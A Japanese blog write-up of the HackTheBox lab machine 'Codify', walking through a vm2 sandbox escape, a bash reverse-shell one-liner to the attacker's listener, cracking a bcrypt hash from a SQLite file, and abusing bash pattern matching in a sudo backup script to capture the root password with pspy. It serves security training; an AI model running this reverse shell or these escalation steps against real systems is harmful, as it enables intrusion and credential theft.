HackTheBox Codify WriteUp

今回はHackTheBoxのEasyマシン「Codify」のWriteUpです！
名前からしてコードを書いて攻略していくような感じになるのでしょうか...

![スクリーンショット 2024-04-07 15.35.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f1f8966b-edfc-bcfc-0651-d56af756bf1c.png)

グラフはしっかりEasyマシンのようなグラフになっていますね。
評価も高いので楽しみです！攻略目指して頑張ります〜！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Codify

### 列挙

それでは、攻略を開始していきましょう！
まずは、いつもの```nmap```から実行していきます。

```bash
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ sudo nmap --min-rate=1000 -Pn -v -n -sSVC -p- 10.10.11.239 -oN nmap.log

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
```

HTTPで80番と3000番を確認できました！
3000番はNode.jsなので、気になりますがとりあえず80番からアクセスしてみましょう。

![スクリーンショット 2024-04-07 15.38.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/6154226a-0ee0-f011-c608-803334cacd67.png)

簡単にNode.jsのコードをテストできるページのようです。
```Try it now```のボタンを押してみます。

![スクリーンショット 2024-04-07 15.39.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3cc6c439-d4df-3244-23a1-7dfc2db63339.png)

Editorが表示されました。Codifyという名前にピッタリなページです。
とりあえず、Node.jsのコードを書いて実行させてみましょう。

### SandBox Bypass

試しに、```Hello World!!```と表示させるコードを書いて、実行させてみます。

![スクリーンショット 2024-04-07 15.41.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/80bf3fe7-0c91-3d8a-e748-36f8583f4d63.png)

うまく実行させることができました！
では、次はOSのコマンドを実行させることが可能かどうか試してみましょう。

![スクリーンショット 2024-04-07 15.50.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7d65ae6f-2d1c-5017-6bf8-d0a385ad932e.png)

```child_process```は許可されていないようです。
ここでコマンドの実行は諦めてしまいがちですが、私はこのページがサンドボックス環境によって提供されていることに目をつけました。サンドボックスの脆弱性があれば、その脆弱性を悪用しコマンドが実行できるかも知れません。
そこで、少しGoogleで調べてみると以下のページを発見しました。

https://security.snyk.io/vuln/SNYK-JS-VM2-5537100

どうやら```vm2```というモジュールのバージョンが古い場合に、コマンドを実行することが可能になるようです。ページ内にはPoCまで用意されているので、それをそのままコピーして```echo```コマンドが実行されるか試してみましょう。

![スクリーンショット 2024-04-07 16.02.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/29e6c34e-92a5-2ad4-3113-e8d5b6345b4c.png)

実行できました！
```vm2```が脆弱であることにより、本来使用できなかったはずの```child_process```を使用でき、コマンド実行が可能になったということです。
では、このままシェルを取得してしまいましょう。

## svc としてのシェル

それでは、```echo```コマンドが書かれた箇所を以下のコマンドに書き換えます。

```
bash -c 'bash -i >& /dev/tcp/<kali ip>/<kali port> 0>&1'
```

書き換え後のスクリーンショットも一応貼っておきます。

![スクリーンショット 2024-04-07 16.06.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cd129840-aab6-0ac4-3e71-9a0f685bde0a.png)

実行前に待ち受けを忘れずに開始させておきましょう

```bash
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ nc -lnvp 2121         
listening on [any] 2121 ...
```

はい！では準備ができたので、実行してみましょう！
実行させても、Webの表示は特に変わりませんが、待ち受けを確認すると...

```bash
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ nc -lnvp 2121         
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.239] 47098
bash: cannot set terminal process group (1264): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$ whoami
whoami
svc
```

シェルを取得することができました！

### 横移動

侵入には成功しましたが、まだフラグを読むことができませんでした。なので権限昇格の前に横移動する必要があります。
とりあえず```home```ディレクトリを確認し、どのようなユーザがいるのかみてみましょう。

```bash
svc@codify:/home$ ls -la
total 16
drwxr-xr-x  4 joshua joshua 4096 Sep 12  2023 .
drwxr-xr-x 18 root   root   4096 Oct 31 07:57 ..
drwxrwx---  3 joshua joshua 4096 Nov  2 12:22 joshua
drwxr-x---  4 svc    svc    4096 Sep 26  2023 svc
```

```svc```ユーザの他に```joshua```ユーザが存在することがわかりました。
では、上記を踏まえたうえで列挙を進めていきます。
とりあえず```sudo```が実行できるか試してみますが...

```bash
svc@codify:/home$ sudo -l
[sudo] password for svc: 
sudo: a password is required
```

パスワードが求められ、実行できないことがわかります。
では続いて、```svc```ユーザのホームディレクトリを確認してみましょう。

```bash
svc@codify:~$ ls -la
total 32
drwxr-x--- 4 svc    svc    4096 Sep 26  2023 .
drwxr-xr-x 4 joshua joshua 4096 Sep 12  2023 ..
lrwxrwxrwx 1 svc    svc       9 Sep 14  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc    svc     220 Sep 12  2023 .bash_logout
-rw-r--r-- 1 svc    svc    3771 Sep 12  2023 .bashrc
drwx------ 2 svc    svc    4096 Sep 12  2023 .cache
drwxrwxr-x 5 svc    svc    4096 Apr  7 06:29 .pm2
-rw-r--r-- 1 svc    svc     807 Sep 12  2023 .profile
-rw-r--r-- 1 svc    svc      39 Sep 26  2023 .vimrc
```

特に重要そうなフォルダはないように見えます。```.pm2```がありますが、これはNode.jsを実行する際に使用するものなので、横移動では有効ではないような気がします。
では、続いてWebに関連するディレクトリも確認してみましょう。

### hash crack

```/var/www/```配下を見てみます。

```bash
svc@codify:/var/www$ ls -la
total 20
drwxr-xr-x  5 root root 4096 Sep 12  2023 .
drwxr-xr-x 13 root root 4096 Oct 31 07:57 ..
drwxr-xr-x  3 svc  svc  4096 Sep 12  2023 contact
drwxr-xr-x  4 svc  svc  4096 Sep 12  2023 editor
drwxr-xr-x  2 svc  svc  4096 Apr 12  2023 html
```

```html```と```editor```に加えて、見慣れないフォルダ```contact```を発見しました。内容を確認してみましょう。

```bash
svc@codify:/var/www/contact$ ls -la
total 120
drwxr-xr-x 3 svc  svc   4096 Sep 12  2023 .
drwxr-xr-x 5 root root  4096 Sep 12  2023 ..
-rw-rw-r-- 1 svc  svc   4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc    268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc  77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc   4096 Apr 21  2023 templates
-rw-r--r-- 1 svc  svc  20480 Sep 12  2023 tickets.db
```

```tickets.db```という何やら怪しいファイルを確認しました。内容を見てみましょう。

```bash
svc@codify:/var/www/contact$ strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
	tableusersusers
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
    ))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
```

```joshua```ユーザのハッシュらしき文字列を発見しました！
ファイルの内容としては、```users```テーブルに```joshua```ユーザの情報を保存しているようです。
ハッシュが解読できると、```joshua```ユーザとしてログインできそうです！
```hashcat```を実行してみましょう。

```bash
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt 

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
==========================================================================================================================================
* Device #1: cpu--0x000, 2913/5890 MB (1024 MB allocatable), 4MCU

<snip>

* Bytes.....: 139921507
* Keyspace..: 14344385


$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2

<snip>

Started: Sun Apr  7 16:58:48 2024
Stopped: Sun Apr  7 17:00:33 2024
```

解読に成功しました！

## joshua としてのシェル

パスワードが```spongebob1```であることがわかったので、SSH接続が可能かどうか試してみましょう。

```bash
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ ssh joshua@10.10.11.239    
The authenticity of host 10.10.11.239 (10.10.11.239) cant be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.239' (ED25519) to the list of known hosts.
joshua@10.10.11.239s password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

<snip>

joshua@codify:~$ whoami
joshua
```

SSH接続に成功しました！横移動完了です！

```bash
joshua@codify:~$ ls -l
total 4
-rw-r----- 1 root joshua 33 Apr  7 06:29 user.txt
```

ユーザフラグも取得できました〜！

### 権限昇格

では権限昇格を目指していきます！
まずは恒例の```sudo -l```を実行してみましょう。

```bash
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
```

どうやら```mysql-backup.sh```というファイルを```root```ユーザとして実行できるようです。
どのようなスクリプトファイルなのかみてみましょう。

```bash
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
```

名前の通り、データベースのバックアップを取るスクリプトのようです

### Bash Pitfalls

このスクリプトは、```/root/.creds```からデータベースのパスワードを取得し、ユーザが入力したパスワードと一致した場合にバックアップを取る処理を実行します。
ですが、実はユーザが入力したパスワードと照合する部分に落とし穴があります。コードでいうと、以下の部分です。

```bash
if [[ $DB_PASS == $USER_PASS ]]; then
```

おそらく想定された動きは、```.creds```ファイルから取得した値とユーザが入力した値が「完全に一致」することでバックアップ処理が開始されることです。しかし、この照合方法では、右側の値は「パターンマッチング」が採用されます。つまり、完全に一致していなくてもパターンさえ合っていればバックアップ処理が開始されてしまいます。
以下の記事も参考になります。

https://mywiki.wooledge.org/BashPitfalls

パターンマッチングが採用されるので実行自体は簡単にできます。すべてに該当するアスタリスク「```*```」を試しに入力してみましょう。

```bash
joshua@codify:/opt/scripts$ sudo /opt/scripts/mysql-backup.sh 
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
```

パスワードが合っていると判定され、バックアップ処理が実行されました！
では、この落とし穴を使用して、実際に```.creds```ファイルに書かれているパスワードを取得しましょう。

どのように取得するかですが、方法は色々とあります。
一文字ずつアスタリスクと組み合わせながら何度も実行していく方法と、プロセスを監視する方法です。プロセスを監視する場合は、以下のコマンドが実行されるタイミングでパスワードを見ることができます。

```bash
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" 
```

私はプロセスを監視する方法で行こうと思います。```scp```を実行し、```pspy```をマシン側へダウンロードさせましょう。

```bash
+[/opt/too1s-l1nux]
(σ▰>∇<)σ<10.10.14.7>$ scp ./pspy64 joshua@10.10.11.239:/tmp/pspy64
```

ダウンロードができたら、実行権限を付与し実行します。

```bash
joshua@codify:/tmp$ chmod +x pspy64
joshua@codify:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
```

これでプロセスを監視する準備はできたので、あとは再度```mysql-backup.sh```を実行するだけです。
アスタリスク「```*```」を使用して再度処理を実行させましょう。

```bash
joshua@codify:/opt/scripts$ sudo /opt/scripts/mysql-backup.sh 
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
```

実行できたので、プロセスを確認してみましょう。

```bash
2024/04/07 15:26:17 CMD: UID=0     PID=3060   | /bin/bash /opt/scripts/mysql-backup.sh 
2024/04/07 15:26:17 CMD: UID=0     PID=3059   | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql 
```

パスワードを取得することができました！

## root としてのシェル

取得したパスワードはMySQLで使用されるものですが、もしかしたらSSH接続でも使用できるかもしれないので、試してみましょう。

```bash
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ ssh root@10.10.11.239                        
root@10.10.11.239s password: 
Permission denied, please try again.
```

SSH接続では使用できないようです。
では、```su```コマンドはどうでしょうか。こちらも試してみましょう。

```bash
joshua@codify:~$ su root
Password: 
root@codify:/home/joshua# whoami
root
```

権限昇格に成功しました！！！（どちらも試すことが大事ですね...）

```bash
root@codify:~# ls -l
total 8
-rw-r----- 1 root root   33 Apr  7 06:29 root.txt
drwxr-xr-x 4 root root 4096 Sep 12  2023 scripts
```

フラグも取得でき、完全攻略達成です！！

### 攻略を終えて

今回のマシン、Easyマシンとしてかなり勉強になるマシンだったと思います！知っている人からするとサクサク進み簡単に解くことができたマシンではあるかもしれませんが、HackTheBoxの導入としておすすめしたいマシンでした。
初期侵入はサンドボックスのモジュールの脆弱性でした。サンドボックスというと一見安全そうに見えるものではありますが、やはりこういった事例が見られることもあるのできちんと運用管理していく必要がありますね。
権限昇格のBashの落とし穴を悪用する例は個人的には好きな攻撃なので、楽しかったですが中には知らない人もいると思うので、ここら辺はしっかりと発信していくようにしたいです。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました！！！